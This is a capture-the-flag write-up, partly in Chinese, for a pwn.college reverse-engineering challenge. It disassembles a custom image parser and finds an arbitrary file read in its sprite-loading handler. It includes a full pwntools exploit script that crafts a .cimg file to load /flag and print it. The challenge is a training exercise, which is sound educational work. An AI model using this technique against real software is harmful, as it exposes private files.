PwnCollege - RE - Accessing Resources

Often times, as feature bloat makes a software project more and more complicated, vulnerabilities slip in due to the interaction of too many moving parts. In the course of reverse engineering the software, reverse engineers will often spot such vulnerabilities.

This is one such scenario. Find and use the vulnerability in /challenge/cimg to get the flag!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
int main(int argc, char **argv, char **envp)
{

struct cimg cimg = { 0 };
cimg.framebuffer = NULL;
int won = 1;

if (argc > 1)
{
if (strcmp(argv[1]+strlen(argv[1])-5, ".cimg"))
{
printf("ERROR: Invalid file extension!");
exit(-1);
}
dup2(open(argv[1], O_RDONLY), 0);
}

read_exact(0, &cimg.header, sizeof(cimg.header), "ERROR: Failed to read header!", -1);

if (cimg.header.magic_number[0] != 'c' || cimg.header.magic_number[1] != 'I' || cimg.header.magic_number[2] != 'M' || cimg.header.magic_number[3] != 'G')
{
puts("ERROR: Invalid magic number!");
exit(-1);
}

if (cimg.header.version != 4)
{
puts("ERROR: Unsupported version!");
exit(-1);
}

initialize_framebuffer(&cimg);

while (cimg.header.remaining_directives--)
{
uint16_t directive_code;
read_exact(0, &directive_code, sizeof(directive_code), "ERROR: Failed to read &directive_code!", -1);

switch (directive_code)
{
case 1:
handle_1(&cimg);
break;
case 2:
handle_2(&cimg);
break;
case 3:
handle_3(&cimg);
break;
case 4:
handle_4(&cimg);
break;
case 5:
handle_5(&cimg);
break;
default:
fprintf(stderr, "ERROR: invalid directive_code %ux\n", directive_code);
exit(-1);
}
}
display(&cimg, NULL);
}

r2 -A -q -c “pdf @ sym.handle_5” /challenge/cimg

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
┌ 363: sym.handle_5 (int64_t arg1, int64_t arg5);
│ `- args(rdi, r8) vars(5:sp[0x30..0x133])
│ 0x00401a3e f30f1efa endbr64
│ 0x00401a42 4155 push r13
│ 0x00401a44 b903010000 mov ecx, 0x103 ; 259
│ 0x00401a49 4183c8ff or r8d, 0xffffffff ; -1 ; arg5
│ 0x00401a4d ba02010000 mov edx, 0x102 ; 258 ; size_t nbyte
│ 0x00401a52 4154 push r12
│ 0x00401a54 4989fc mov r12, rdi ; arg1
│ 0x00401a57 55 push rbp
│ 0x00401a58 53 push rbx
│ 0x00401a59 4881ec1801.. sub rsp, 0x118
│ 0x00401a60 64488b0425.. mov rax, qword fs:[0x28]
│ 0x00401a69 4889842408.. mov qword [canary], rax
│ 0x00401a71 31c0 xor eax, eax
│ 0x00401a73 488d7c2405 lea rdi, [var_5h]
│ 0x00401a78 488d742405 lea rsi, [var_5h] ; void *buf
│ 0x00401a7d f3aa rep stosb byte [rdi], al
│ 0x00401a7f 31ff xor edi, edi ; int fildes
│ 0x00401a81 488d0db906.. lea rcx, str.ERROR:_Failed_to_read_sprite_load_record_ ; 0x402141 ; "ERROR: Failed to read &sprite_load_record!" ; int64_t arg4
│ 0x00401a88 e889faffff call sym.read_exact
│ 0x00401a8d 668b542406 mov dx, word [var_6h]
│ 0x00401a92 0fb6442405 movzx eax, byte [var_5h]
│ 0x00401a97 31f6 xor esi, esi ; int oflag
│ 0x00401a99 488d7c2408 lea rdi, [path] ; const char *path
│ 0x00401a9e 86f2 xchg dl, dh
│ 0x00401aa0 48c1e004 shl rax, 4
│ 0x00401aa4 664189540418 mov word [r12 + rax + 0x18], dx
│ 0x00401aaa 31c0 xor eax, eax
│ 0x00401aac e86ff7ffff call sym.imp.open ; int open(const char *path, int oflag)
│ 0x00401ab1 85c0 test eax, eax
│ ┌─< 0x00401ab3 7915 jns 0x401aca
│ │ 0x00401ab5 488b35e472.. mov rsi, qword [obj.stderr] ; obj.stderr__GLIBC_2.2.5
│ │ ; [0x408da0:8]=0 ; FILE *stream
│ │ 0x00401abc 488d3da906.. lea rdi, str.ERROR:_failed_to_open_sprite_file_n ; 0x40216c ; "ERROR: failed to open sprite file\n" ; const char *s
│ │ 0x00401ac3 e8d8f6ffff call sym.imp.fputs ; int fputs(const char *s, FILE *stream)
│ ┌──< 0x00401ac8 eb45 jmp 0x401b0f
│ ││ ; CODE XREF from sym.handle_5 @ 0x401ab3(x)
│ │└─> 0x00401aca 89c5 mov ebp, eax
│ │ 0x00401acc 0fb6442405 movzx eax, byte [var_5h]
│ │ 0x00401ad1 48c1e004 shl rax, 4
│ │ 0x00401ad5 4a8b7c2020 mov rdi, qword [rax + r12 + 0x20]
│ │ 0x00401ada 4885ff test rdi, rdi
│ │┌─< 0x00401add 7405 je 0x401ae4
│ ││ 0x00401adf e86cf6ffff call sym.imp.free ; void free(void *ptr)
│ ││ ; CODE XREF from sym.handle_5 @ 0x401add(x)
│ │└─> 0x00401ae4 440fb66c2406 movzx r13d, byte [var_6h]
│ │ 0x00401aea 0fb6542407 movzx edx, byte [var_7h]
│ │ 0x00401aef 440fafea imul r13d, edx
│ │ 0x00401af3 4963fd movsxd rdi, r13d ; size_t size
│ │ 0x00401af6 e8f5f6ffff call sym.imp.malloc ; void *malloc(size_t size)
│ │ 0x00401afb 4889c3 mov rbx, rax
│ │ 0x00401afe 4885c0 test rax, rax
│ │┌─< 0x00401b01 7514 jne 0x401b17
│ ││ 0x00401b03 488d3dfa04.. lea rdi, str.ERROR:_Failed_to_allocate_memory_for_the_image_data_ ; 0x402004 ; "ERROR: Failed to allocate memory for the image data!" ; const char *s
│ ││ 0x00401b0a e851f6ffff call sym.imp.puts ; int puts(const char *s)
│ ││ ; CODE XREFS from sym.handle_5 @ 0x401ac8(x), 0x401b6c(x)
│ ┌└──> 0x00401b0f 83cfff or edi, 0xffffffff ; -1
│ ╎ │ 0x00401b12 e819f7ffff call sym.imp.exit ; void exit(int status)
│ ╎ │ ; CODE XREF from sym.handle_5 @ 0x401b01(x)
│ ╎ └─> 0x00401b17 4489ea mov edx, r13d ; size_t nbyte
│ ╎ 0x00401b1a 4889c6 mov rsi, rax ; void *buf
│ ╎ 0x00401b1d 4183c8ff or r8d, 0xffffffff ; -1
│ ╎ 0x00401b21 89ef mov edi, ebp ; int fildes
│ ╎ 0x00401b23 488d0d0f05.. lea rcx, str.ERROR:_Failed_to_read_data_ ; 0x402039 ; "ERROR: Failed to read data!" ; int64_t arg4
│ ╎ 0x00401b2a e8e7f9ffff call sym.read_exact
│ ╎ 0x00401b2f 0fb6442407 movzx eax, byte [var_7h]
│ ╎ 0x00401b34 0fb6542406 movzx edx, byte [var_6h]
│ ╎ 0x00401b39 0fafd0 imul edx, eax
│ ╎ 0x00401b3c 31c0 xor eax, eax
│ ╎ ; CODE XREF from sym.handle_5 @ 0x401b50(x)
│ ╎ ┌─> 0x00401b3e 39c2 cmp edx, eax
│ ╎┌──< 0x00401b40 7e2c jle 0x401b6e
│ ╎│╎ 0x00401b42 0fb60c03 movzx ecx, byte [rbx + rax]
│ ╎│╎ 0x00401b46 48ffc0 inc rax
│ ╎│╎ 0x00401b49 8d71e0 lea esi, [rcx - 0x20]
│ ╎│╎ 0x00401b4c 4080fe5e cmp sil, 0x5e ; '^' ; 94
│ ╎│└─< 0x00401b50 76ec jbe 0x401b3e
│ ╎│ 0x00401b52 488b3d4772.. mov rdi, qword [obj.stderr] ; obj.stderr__GLIBC_2.2.5
│ ╎│ ; [0x408da0:8]=0
│ ╎│ 0x00401b59 488d15f504.. lea rdx, str.ERROR:_Invalid_character_0x_x_in_the_image_data__n ; str.ERROR:_Invalid_character_0x_x_in_the_image_data__n
│ ╎│ ; 0x402055 ; "ERROR: Invalid character 0x%x in the image data!\n"
│ ╎│ 0x00401b60 be01000000 mov esi, 1
│ ╎│ 0x00401b65 31c0 xor eax, eax
│ ╎│ 0x00401b67 e8d4f6ffff call sym.imp.__fprintf_chk
│ └───< 0x00401b6c eba1 jmp 0x401b0f
│ │ ; CODE XREF from sym.handle_5 @ 0x401b40(x)
│ └──> 0x00401b6e 0fb6442405 movzx eax, byte [var_5h]
│ 0x00401b73 89ef mov edi, ebp ; int fildes
│ 0x00401b75 48c1e004 shl rax, 4
│ 0x00401b79 4a895c2020 mov qword [rax + r12 + 0x20], rbx
│ 0x00401b7e e82df6ffff call sym.imp.close ; int close(int fildes)
│ 0x00401b83 488b842408.. mov rax, qword [canary]
│ 0x00401b8b 6448330425.. xor rax, qword fs:[0x28]
│ ┌─< 0x00401b94 7405 je 0x401b9b
│ │ 0x00401b96 e8e5f5ffff call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void)
│ │ ; CODE XREF from sym.handle_5 @ 0x401b94(x)
│ └─> 0x00401b9b 4881c41801.. add rsp, 0x118
│ 0x00401ba2 5b pop rbx
│ 0x00401ba3 5d pop rbp
│ 0x00401ba4 415c pop r12
│ 0x00401ba6 415d pop r13
└ 0x00401ba8 c3 ret

任意文件读取漏洞 (Arbitrary File Read / Local File Inclusion) in handle_5

1
2
0x00401a4d  mov edx, 0x102       ; 准备读取 258 字节
0x00401a88 call sym.read_exact ; 从标准输入读取 Payload

它读取了 258 个字节的 sprite_load_record。通过偏移量分析,它的结构是:

  • ID (1 byte)
  • Width (1 byte)
  • Height (1 byte)
  • Path (255 bytes) 直接把字符串传给了底层的 open(path, 0)
1
2
0x00401b4c  cmp sil, 0x5e        ; 校验字符是否在 0x20 ~ 0x7E 之间
0x00401b50 jbe 0x401b3e ; 如果是,继续循环;否则报错退出

标准读取时,如果读到了换行符 (\n,十六进制 0x0A),程序会抛出 ERROR: Invalid character 并退出。而 /flag 文件的末尾有一个换行符

既然我们知道 read_exact 只有在读到指定长度 (Width * Height) 时才会返回,我们只需要让 Width 等于 Flag 字符串的长度(不包含换行符)。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
import re
import struct
from pwn import *

def exploit():
binary_path = "/challenge/cimg"

flag_len = 59 # known flag length
payload = bytearray()

# 1. Header: Version 4, 画布大小 100x1, 2 个指令
payload += struct.pack("<4sHBBI", b"cIMG", 4, 100, 1, 2)

# 2. Directive 1 -> handle_5: 任意文件加载
payload += struct.pack("<H", 5) # Opcode 5
payload += struct.pack("<BBB", 1, flag_len, 1) # ID=1, Width=flag_len, Height=1
path = b"/flag".ljust(255, b"\x00") # 恶意路径,Null截断
payload += path

# 3. Directive 2 -> handle_4: 渲染到屏幕
# 参数: Opcode(4), ID(1), R(255), G(255), B(255), X(0), Y(0), RepeatX(1), RepeatY(1), Trans(0)
payload += struct.pack("<HBBBBBBBBB", 4, 1, 255, 255, 255, 0, 0, 1, 1, 0)

file_name = "exploit_payload.cimg"
with open(file_name, "wb") as f:
f.write(payload)

try:
# 执行二进制
p = process([binary_path, file_name])
out = p.recvall(timeout=1).decode(errors="ignore")

if "ERROR" not in out:
# 用正则剥离 ANSI 颜色
clean_text = re.sub(r"\x1b\[.*?m", "", out)

if "pwn.college" in clean_text:
print(f"\n[+] Success Flag length: {flag_len}")
print(f"[*] Raw Flag: {clean_text.strip()}")
return
except Exception:
pass

print("[-] Exploit failed.")

if __name__ == "__main__":
exploit()